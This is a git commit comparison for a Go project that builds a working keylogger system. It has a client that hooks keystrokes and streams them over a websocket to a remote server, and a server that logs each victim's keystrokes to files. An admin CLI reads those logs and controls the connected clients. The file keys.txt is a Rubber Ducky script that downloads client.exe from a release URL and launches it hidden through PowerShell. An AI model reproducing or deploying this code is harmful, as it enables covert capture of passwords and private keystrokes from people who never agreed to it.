Compare commits

18 Commits

Author SHA1 Message Date
Daniel Svitan
473ea2ba74 Adds changing name and exiting 2025-04-12 16:06:33 +02:00
Daniel Svitan
9547c72f5a Changes name change parameter source 2025-04-12 16:06:16 +02:00
Daniel Svitan
6c8625dead 🔨 Refactors requests into one function 2025-04-11 22:48:57 +02:00
Daniel Svitan
30aae96185 🐛 Fixes regex and logs query param not working 2025-04-11 22:48:44 +02:00
Daniel Svitan
e9065fb654 Adds id and options string flags 2025-04-11 22:40:39 +02:00
Daniel Svitan
f64f02cfd9 🐛 Fixes routes errors and specific log reading 2025-04-11 22:39:01 +02:00
Daniel Svitan
6754872cfe Adds log listing 2025-04-11 22:06:16 +02:00
Daniel Svitan
9ec12d7325 🔨 Refactors filename generator function and logs listing 2025-04-11 22:04:07 +02:00
Daniel Svitan
be9d929309 🎉 Inits admin cli app 2025-04-10 22:01:03 +02:00
Daniel Svitan
85a37ef176 💄 Rewrites special keystrokes for intuitiveness 2025-04-10 21:29:43 +02:00
Daniel Svitan
09077515db 🔥 Removes db integration 2025-04-10 21:24:46 +02:00
Daniel Svitan
afec6d69c7 Enhances client control 2025-03-29 23:10:18 +01:00
Daniel Svitan
0335c3157e 🔨 Adds db integration 2025-03-29 22:52:12 +01:00
Daniel Svitan
ebe87d1eb3 🚧 Adds database connection 2025-03-26 21:12:35 +01:00
Daniel Svitan
28883c620d 🐛 Fixes rubber ducky script 2025-03-26 17:33:02 +01:00
Daniel Svitan
647ece6a43 🐛 Closes powershell after script starts 2025-03-25 21:03:23 +01:00
Daniel Svitan
2abef32841 Adds rubber ducky script 2025-03-25 21:02:00 +01:00
Daniel Svitan
f7ff35dcb8 Adds production connection 2025-03-25 20:45:09 +01:00
10 changed files with 518 additions and 62 deletions

5
.gitignore vendored Normal file
View File

@@ -0,0 +1,5 @@
.idea/
data/
*/.env

22
admin/go.mod Normal file
View File

@@ -0,0 +1,22 @@
module svitan.dev/keys/admin
go 1.24.2
require (
github.com/fsnotify/fsnotify v1.8.0 // indirect
github.com/go-viper/mapstructure/v2 v2.2.1 // indirect
github.com/pelletier/go-toml/v2 v2.2.3 // indirect
github.com/sagikazarmark/locafero v0.7.0 // indirect
github.com/sourcegraph/conc v0.3.0 // indirect
github.com/spf13/afero v1.12.0 // indirect
github.com/spf13/cast v1.7.1 // indirect
github.com/spf13/pflag v1.0.6 // indirect
github.com/spf13/viper v1.20.1 // indirect
github.com/subosito/gotenv v1.6.0 // indirect
github.com/urfave/cli/v3 v3.1.1 // indirect
go.uber.org/atomic v1.9.0 // indirect
go.uber.org/multierr v1.9.0 // indirect
golang.org/x/sys v0.29.0 // indirect
golang.org/x/text v0.21.0 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
)

38
admin/go.sum Normal file
View File

@@ -0,0 +1,38 @@
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/fsnotify/fsnotify v1.8.0 h1:dAwr6QBTBZIkG8roQaJjGof0pp0EeF+tNV7YBP3F/8M=
github.com/fsnotify/fsnotify v1.8.0/go.mod h1:8jBTzvmWwFyi3Pb8djgCCO5IBqzKJ/Jwo8TRcHyHii0=
github.com/go-viper/mapstructure/v2 v2.2.1 h1:ZAaOCxANMuZx5RCeg0mBdEZk7DZasvvZIxtHqx8aGss=
github.com/go-viper/mapstructure/v2 v2.2.1/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM=
github.com/pelletier/go-toml/v2 v2.2.3 h1:YmeHyLY8mFWbdkNWwpr+qIL2bEqT0o95WSdkNHvL12M=
github.com/pelletier/go-toml/v2 v2.2.3/go.mod h1:MfCQTFTvCcUyyvvwm1+G6H/jORL20Xlb6rzQu9GuUkc=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/sagikazarmark/locafero v0.7.0 h1:5MqpDsTGNDhY8sGp0Aowyf0qKsPrhewaLSsFaodPcyo=
github.com/sagikazarmark/locafero v0.7.0/go.mod h1:2za3Cg5rMaTMoG/2Ulr9AwtFaIppKXTRYnozin4aB5k=
github.com/sourcegraph/conc v0.3.0 h1:OQTbbt6P72L20UqAkXXuLOj79LfEanQ+YQFNpLA9ySo=
github.com/sourcegraph/conc v0.3.0/go.mod h1:Sdozi7LEKbFPqYX2/J+iBAM6HpqSLTASQIKqDmF7Mt0=
github.com/spf13/afero v1.12.0 h1:UcOPyRBYczmFn6yvphxkn9ZEOY65cpwGKb5mL36mrqs=
github.com/spf13/afero v1.12.0/go.mod h1:ZTlWwG4/ahT8W7T0WQ5uYmjI9duaLQGy3Q2OAl4sk/4=
github.com/spf13/cast v1.7.1 h1:cuNEagBQEHWN1FnbGEjCXL2szYEXqfJPbP2HNUaca9Y=
github.com/spf13/cast v1.7.1/go.mod h1:ancEpBxwJDODSW/UG4rDrAqiKolqNNh2DX3mk86cAdo=
github.com/spf13/pflag v1.0.6 h1:jFzHGLGAlb3ruxLB8MhbI6A8+AQX/2eW4qeyNZXNp2o=
github.com/spf13/pflag v1.0.6/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/spf13/viper v1.20.1 h1:ZMi+z/lvLyPSCoNtFCpqjy0S4kPbirhpTMwl8BkW9X4=
github.com/spf13/viper v1.20.1/go.mod h1:P9Mdzt1zoHIG8m2eZQinpiBjo6kCmZSKBClNNqjJvu4=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8=
github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU=
github.com/urfave/cli/v3 v3.1.1 h1:bNnl8pFI5dxPOjeONvFCDFoECLQsceDG4ejahs4Jtxk=
github.com/urfave/cli/v3 v3.1.1/go.mod h1:FJSKtM/9AiiTOJL4fJ6TbMUkxBXn7GO9guZqoZtpYpo=
go.uber.org/atomic v1.9.0 h1:ECmE8Bn/WFTYwEW/bpKD3M8VtR/zQVbavAoalC1PYyE=
go.uber.org/atomic v1.9.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
go.uber.org/multierr v1.9.0 h1:7fIwc/ZtS0q++VgcfqFDxSBZVv/Xo49/SYnDFupUwlI=
go.uber.org/multierr v1.9.0/go.mod h1:X2jQV1h+kxSjClGpnseKVIxpmcjrj7MNnI0bnlfKTVQ=
golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU=
golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo=
golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=

226
admin/main.go Normal file
View File

@@ -0,0 +1,226 @@
package main
import (
"context"
"errors"
"fmt"
"io"
"log"
"net/http"
"os"
"github.com/spf13/viper"
"github.com/urfave/cli/v3"
)
var (
server string
token string
)
func load() error {
viper.SetConfigName("config")
viper.SetConfigType("toml")
viper.AddConfigPath("$HOME/.local/share/keys")
err := viper.ReadInConfig()
if err != nil {
return err
}
server = viper.GetString("server")
if server == "" {
return errors.New("'server' property is required")
}
token = viper.GetString("token")
if token == "" {
return errors.New("'token' property is required")
}
return nil
}
func makeReq(method string, url string) error {
req, err := http.NewRequest(method, url, nil)
if err != nil {
return err
}
req.Header.Set("Authorization", token)
res, err := http.DefaultClient.Do(req)
if err != nil {
return err
}
recv, err := io.ReadAll(res.Body)
if err != nil {
return err
}
if res.StatusCode != 200 {
fmt.Printf("<-- %d\n", res.StatusCode)
}
fmt.Printf("%s", recv)
return nil
}
func main() {
cmd := &cli.Command{
Name: "keys-admin",
Usage: "keys project server administration tool",
Commands: []*cli.Command{
{
Name: "version",
Usage: "print version and exit",
Action: func(context.Context, *cli.Command) error {
fmt.Println("version 1.0")
return nil
},
},
{
Name: "clients",
Usage: "fetch all clients",
Flags: []cli.Flag{
&cli.StringFlag{
Name: "id",
Usage: "optional id of the client to fetch",
},
},
Action: clients,
},
{
Name: "logs",
Usage: "fetch all/specific logs",
Flags: []cli.Flag{
&cli.StringFlag{
Name: "id",
Usage: "optional id of the client to log",
},
&cli.StringFlag{
Name: "date",
Usage: "optional date of the log, id required, in ISO8601 date format",
},
&cli.StringFlag{
Name: "skip",
Usage: "optional skip bytes in log file",
},
&cli.StringFlag{
Name: "take",
Usage: "optional take bytes from log file",
},
},
Action: logs,
},
{
Name: "name",
Usage: "rename a client",
Flags: []cli.Flag{
&cli.StringFlag{
Name: "id",
Usage: "id of the client",
Required: true,
},
&cli.StringFlag{
Name: "new",
Usage: "new name of the client",
Required: true,
},
},
Action: name,
},
{
Name: "exit",
Usage: "request a client to disconnect",
Flags: []cli.Flag{
&cli.StringFlag{
Name: "id",
Usage: "id of the client",
Required: true,
},
},
Action: exit,
},
},
}
err := cmd.Run(context.Background(), os.Args)
if err != nil {
log.Fatal(err)
}
}
func clients(ctx context.Context, cmd *cli.Command) error {
err := load()
if err != nil {
return err
}
var url string
id := cmd.String("id")
if id != "" {
url = fmt.Sprintf("%s/admin/clients/%s", server, id)
} else {
url = fmt.Sprintf("%s/admin/clients", server)
}
return makeReq(http.MethodGet, url)
}
func logs(ctx context.Context, cmd *cli.Command) error {
err := load()
if err != nil {
return err
}
var url string
id := cmd.String("id")
if id != "" {
params := map[string]string{
"date": cmd.String("date"),
"skip": cmd.String("skip"),
"take": cmd.String("take"),
}
paramsStr := ""
for k, v := range params {
if v == "" {
continue
}
if paramsStr == "" {
paramsStr = fmt.Sprintf("?%s=%s", k, v)
} else {
paramsStr += fmt.Sprintf("&%s=%s", k, v)
}
}
url = fmt.Sprintf("%s/admin/logs/%s%s", server, id, paramsStr)
} else {
url = fmt.Sprintf("%s/admin/logs", server)
}
return makeReq(http.MethodGet, url)
}
func name(ctx context.Context, cmd *cli.Command) error {
err := load()
if err != nil {
return err
}
id := cmd.String("id")
name := cmd.String("new")
url := fmt.Sprintf("%s/admin/name/%s?name=%s", server, id, name)
return makeReq(http.MethodPost, url)
}
func exit(ctx context.Context, cmd *cli.Command) error {
err := load()
if err != nil {
return err
}
id := cmd.String("id")
url := fmt.Sprintf("%s/admin/exit/%s", server, id)
return makeReq(http.MethodPost, url)
}

View File

@@ -3,6 +3,7 @@ package main
import (
"net/url"
"os"
"time"
"github.com/gorilla/websocket"
hook "github.com/robotn/gohook"
@@ -18,9 +19,7 @@ const (
REG_END = 255
)
const HOST = "localhost:8080"
var u = url.URL{Scheme: "ws", Host: HOST, Path: "/keys"}
var u = url.URL{Scheme: "wss", Host: "keys.svitan.dev", Path: "/keys"}
func main() {
var conn *websocket.Conn
@@ -33,6 +32,7 @@ func main() {
if tries >= 3 {
return
}
time.Sleep(time.Second)
} else {
break
}
@@ -60,31 +60,31 @@ func main() {
switch ev.Rawcode {
case SHIFT_RAWCODE:
if ev.Kind == hook.KeyDown {
buff = append(buff, []byte("[SHIFT]")...)
} else if ev.Kind == hook.KeyUp {
buff = append(buff, []byte("[shift]")...)
} else if ev.Kind == hook.KeyUp {
buff = append(buff, []byte("[SHIFT]")...)
}
continue
case CTRL_RAWCODE:
if ev.Kind == hook.KeyDown {
buff = append(buff, []byte("[CTRL]")...)
} else if ev.Kind == hook.KeyUp {
buff = append(buff, []byte("[ctrl]")...)
} else if ev.Kind == hook.KeyUp {
buff = append(buff, []byte("[CTRL]")...)
}
continue
case ALT_RAWCODE:
if ev.Kind == hook.KeyDown {
buff = append(buff, []byte("[ALT]")...)
} else if ev.Kind == hook.KeyUp {
buff = append(buff, []byte("[alt]")...)
} else if ev.Kind == hook.KeyUp {
buff = append(buff, []byte("[ALT]")...)
}
continue
case DEL_KEYCHAR:
if ev.Kind == hook.KeyDown {
buff = append(buff, []byte("[DEL]")...)
buff = append(buff, []byte("[del]")...)
}
continue
}
@@ -92,7 +92,7 @@ func main() {
switch ev.Keychar {
case DEL_KEYCHAR:
if ev.Kind == hook.KeyDown {
buff = append(buff, []byte("[DEL]")...)
buff = append(buff, []byte("[del]")...)
}
continue

15
keys.txt Normal file
View File

@@ -0,0 +1,15 @@
REM open powershell
GUI r
DELAY 1000
STRING powershell
ENTER
DELAY 2000
REM download client.exe file
STRING Invoke-WebRequest https://gitea.svitan.dev/Streamer272/keys/releases/download/v1.0.0/client.exe -OutFile .\AppData\Local\Temp\keys.exe
ENTER
DELAY 15000
REM client.exe file (closes automatically)
STRING powershell.exe -WindowStyle hidden { Start-Process -FilePath .\AppData\Local\Temp\keys.exe -NoNewWindow }
ENTER

View File

@@ -1,4 +1,4 @@
FROM golang:1.23
FROM golang:1.24
WORKDIR /app
COPY . .
@@ -7,4 +7,5 @@ RUN echo "" > .env
RUN go get -v .
RUN go install -v .
EXPOSE 8080
CMD ["server"]

View File

@@ -3,6 +3,7 @@ module svitan.dev/keys/server
go 1.24.1
require (
github.com/google/uuid v1.6.0
github.com/gorilla/websocket v1.5.3
github.com/joho/godotenv v1.5.1
github.com/labstack/echo/v4 v4.13.3

View File

@@ -1,5 +1,7 @@
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/joho/godotenv v1.5.1 h1:7eLL/+HRGLY0ldzfGMeQkb7vMd0as4CfYvUVzLqw0N0=

View File

@@ -3,11 +3,16 @@ package main
import (
"errors"
"fmt"
"io"
"net/http"
"os"
"path"
"regexp"
"strconv"
"syscall"
"time"
"github.com/google/uuid"
"github.com/gorilla/websocket"
"github.com/joho/godotenv"
"github.com/labstack/echo/v4"
@@ -16,34 +21,85 @@ import (
)
const TimeFormat = "2006-01-02 15:04:05"
const DateFormat = "2006-01-02"
var LogRegex = regexp.MustCompile(`(?m)^\d{4}-\d{2}-\d{2}_.*\.txt$`)
type Client struct {
ID int
conn *websocket.Conn
Exit bool
ID uuid.UUID `json:"id"`
Name string `json:"name"`
Connected bool `json:"connected"`
ConnectedAt time.Time `json:"connectedAt"`
DisconnectedAt time.Time `json:"disconnectedAt"`
CreatedAt time.Time `json:"createdAt"`
UpdatedAt time.Time `json:"updatedAt"`
ExitWanted bool `json:"exitWanted"`
conn *websocket.Conn `json:"-"`
}
var id = 0
var clients = []*Client{}
var keyDir = "."
var dataDir = "."
var token = ""
var upgrader = websocket.Upgrader{}
type ReqData struct {
ID int `json:"id"`
type IDParam struct {
ID string `param:"id"`
}
func authed(next echo.HandlerFunc) echo.HandlerFunc {
return func(c echo.Context) error {
if c.Request().Header.Get("Authorization") != token {
return c.NoContent(http.StatusUnauthorized)
}
return next(c)
}
}
func idparam(next func(echo.Context, uuid.UUID) error) echo.HandlerFunc {
return func(c echo.Context) error {
var data IDParam
err := c.Bind(&data)
if err != nil || data.ID == "" {
return c.JSON(http.StatusBadRequest, echo.Map{"message": "missing field 'id'"})
}
id, err := uuid.Parse(data.ID)
if err != nil {
return c.JSON(http.StatusBadRequest, echo.Map{"message": "field 'id' is not a uuid"})
}
return next(c, id)
}
}
func filename(dataDir string, id string, date string) string {
return fmt.Sprintf("%s/%s_%s.txt", dataDir, date, id)
}
func main() {
_ = godotenv.Load()
keyDir = os.Getenv("KEY_DIR")
if keyDir == "" {
log.Fatal("KEY_DIR is not defined")
dataDir = os.Getenv("DATA_DIR")
if dataDir == "" {
log.Fatal("DATA_DIR is not defined")
}
token = os.Getenv("TOKEN")
if token == "" {
log.Fatal("TOKEN is not defined")
}
f, err := os.OpenFile(path.Join(dataDir, "startup"), syscall.O_CREAT|syscall.O_APPEND|syscall.O_WRONLY, 0644)
if err != nil {
log.Fatalf("DATA_DIR %s is not writable (%v)\n", dataDir, err)
}
_, err = f.Write([]byte(fmt.Sprintf("%s\n", time.Now().Format(TimeFormat))))
if err != nil {
log.Fatalf("DATA_DIR test file couldn't be written to (%v)\n", err)
}
err = f.Close()
if err != nil {
log.Fatalf("DATA_DIR test file couldn't be closed (%v)\n", err)
}
app := echo.New()
app.Logger.SetLevel(log.INFO)
@@ -54,7 +110,7 @@ func main() {
app.Use(middleware.Secure())
app.Use(middleware.LoggerWithConfig(middleware.LoggerConfig{
Format: "${time_custom} ${method} ${uri} ---> ${status} in ${latency_human} (${bytes_out} bytes)",
Format: "${time_custom} ${method} ${uri} ---> ${status} in ${latency_human} (${bytes_out} bytes)\n",
CustomTimeFormat: TimeFormat,
}))
app.Use(middleware.RemoveTrailingSlash())
@@ -88,45 +144,120 @@ func main() {
}
}
indent := "\t"
// client connection
app.GET("/", func(c echo.Context) error {
return c.JSON(http.StatusOK, "Hello World!")
return c.JSONPretty(http.StatusOK, "Hello World!", indent)
})
app.GET("/keys", keys)
app.GET("/clients", func(c echo.Context) error {
if c.Request().Header.Get("Authorization") != token {
return c.NoContent(http.StatusUnauthorized)
}
// administration
app.GET("/admin/clients", authed(func(c echo.Context) error {
return c.JSONPretty(http.StatusOK, clients, indent)
}))
var a = []echo.Map{}
app.GET("/admin/clients/:id", authed(idparam(func(c echo.Context, id uuid.UUID) error {
for _, client := range clients {
a = append(a, echo.Map{
"id": client.ID,
"exit": client.Exit,
})
if client.ID == id {
return c.JSONPretty(http.StatusOK, client, indent)
}
}
return c.JSON(http.StatusOK, a)
})
app.POST("/exit", func(c echo.Context) error {
if c.Request().Header.Get("Authorization") != token {
return c.NoContent(http.StatusUnauthorized)
}
return c.NoContent(http.StatusNotFound)
})))
var data ReqData
err := c.Bind(&data)
app.GET("/admin/logs", authed(func(c echo.Context) error {
files, err := os.ReadDir(dataDir)
if err != nil {
return c.JSON(http.StatusBadRequest, echo.Map{"message": "missing field 'id'"})
log.Error(err)
return c.NoContent(http.StatusInternalServerError)
}
filenames := []string{}
for _, file := range files {
if LogRegex.MatchString(file.Name()) {
filenames = append(filenames, file.Name())
}
}
return c.JSONPretty(http.StatusOK, filenames, indent)
}))
app.GET("/admin/logs/:id", authed(idparam(func(c echo.Context, id uuid.UUID) error {
date := c.QueryParam("date")
if date == "" {
date = time.Now().Format(DateFormat)
}
skipRaw := c.QueryParam("skip")
skip := 0
if skipRaw != "" {
skip, err = strconv.Atoi(skipRaw)
if err != nil {
return c.JSON(http.StatusBadRequest, echo.Map{"message": "skip is not a number"})
}
}
takeRaw := c.QueryParam("take")
take := 1024
if takeRaw != "" {
take, err = strconv.Atoi(takeRaw)
if err != nil {
return c.JSON(http.StatusBadRequest, echo.Map{"message": "take is not a number"})
}
}
f, err := os.OpenFile(filename(dataDir, id.String(), date), syscall.O_RDONLY, 0644)
if err != nil {
return c.JSON(http.StatusNotFound, echo.Map{"message": "file not found"})
}
if skip != 0 {
_, err = f.Seek(int64(skip), io.SeekStart)
if err != nil {
log.Error(err)
return c.NoContent(http.StatusInternalServerError)
}
}
bytes := make([]byte, take)
n, err := f.Read(bytes)
if err != nil {
log.Error(err)
return c.NoContent(http.StatusInternalServerError)
}
return c.JSONPretty(http.StatusOK, string(bytes[:n]), indent)
})))
app.POST("/admin/name/:id", authed(idparam(func(c echo.Context, id uuid.UUID) error {
name := c.QueryParam("name")
if name == "" {
return c.JSON(http.StatusBadRequest, "missing field 'name'")
}
for _, client := range clients {
if client.ID == data.ID {
client.Exit = true
if client.ID == id {
client.Name = name
client.UpdatedAt = time.Now()
return c.JSON(http.StatusOK, echo.Map{"message": "ok"})
}
}
return c.JSON(http.StatusNotFound, echo.Map{"message": "not found"})
})
})))
app.POST("/admin/exit/:id", authed(idparam(func(c echo.Context, id uuid.UUID) error {
for _, client := range clients {
if client.ID == id {
client.ExitWanted = true
return c.JSON(http.StatusOK, echo.Map{"message": "ok"})
}
}
return c.JSON(http.StatusNotFound, echo.Map{"message": "not found"})
})))
log.Fatal(app.Start(":8080"))
}
@@ -135,29 +266,40 @@ func keys(c echo.Context) error {
ws, err := upgrader.Upgrade(c.Response(), c.Request(), nil)
if err != nil {
return err
}
defer ws.Close()
now := time.Now()
client := Client{
ID: id,
conn: ws,
Exit: false,
ID: uuid.New(),
Name: "Dummy",
Connected: true,
ConnectedAt: now,
DisconnectedAt: now,
CreatedAt: now,
UpdatedAt: now,
ExitWanted: false,
conn: ws,
}
clients = append(clients, &client)
id += 1
fmt.Printf("%s client %-3d connected\n", time.Now().Format(TimeFormat), client.ID)
fmt.Printf("%s client %s connected\n", time.Now().Format(TimeFormat), client.ID.String())
err = ws.WriteMessage(websocket.TextMessage, []byte("welcome"))
if err != nil {
log.Error(err)
}
f, err := os.OpenFile(fmt.Sprintf("%s/%s_%d.txt", keyDir, time.Now().Format("2006-01-02_15-04"), client.ID), syscall.O_CREAT|syscall.O_APPEND|syscall.O_WRONLY, 0644)
f, err := os.OpenFile(filename(dataDir, client.ID.String(), now.Format(DateFormat)), syscall.O_CREAT|syscall.O_APPEND|syscall.O_WRONLY, 0644)
if err != nil {
log.Error(err)
fmt.Printf("%s client %-3d crashed (couldn't open file)\n", time.Now().Format(TimeFormat), client.ID)
client.Exit = true
fmt.Printf("%s client %s crashed (couldn't open file)\n", time.Now().Format(TimeFormat), client.ID)
now = time.Now()
client.Connected = false
client.DisconnectedAt = now
client.UpdatedAt = now
return c.NoContent(http.StatusInternalServerError)
}
defer f.Close()
@@ -165,13 +307,18 @@ func keys(c echo.Context) error {
close := func() {
_ = ws.WriteMessage(websocket.CloseMessage, websocket.FormatCloseMessage(websocket.CloseNormalClosure, ""))
_ = ws.Close()
client.Exit = true
now = time.Now()
client.ExitWanted = true
client.Connected = false
client.DisconnectedAt = now
client.UpdatedAt = now
}
for {
if client.Exit {
if client.ExitWanted {
close()
fmt.Printf("%s client %-3d disconnected\n", time.Now().Format(TimeFormat), client.ID)
fmt.Printf("%s client %s disconnected\n", time.Now().Format(TimeFormat), client.ID.String())
break
}
@@ -179,18 +326,17 @@ func keys(c echo.Context) error {
if err != nil {
log.Error(err)
close()
fmt.Printf("%s client %-3d crashed (websocket error)\n", time.Now().Format(TimeFormat), client.ID)
break
fmt.Printf("%s client %s crashed (websocket error)\n", time.Now().Format(TimeFormat), client.ID.String())
return c.NoContent(http.StatusInternalServerError)
}
_, err = f.Write(msg)
if err != nil {
log.Error(err)
close()
fmt.Printf("%s client %-3d crashed (file write error)\n", time.Now().Format(TimeFormat), client.ID)
break
fmt.Printf("%s client %s crashed (file write error)\n", time.Now().Format(TimeFormat), client.ID.String())
return c.NoContent(http.StatusInternalServerError)
}
}
return c.NoContent(http.StatusOK)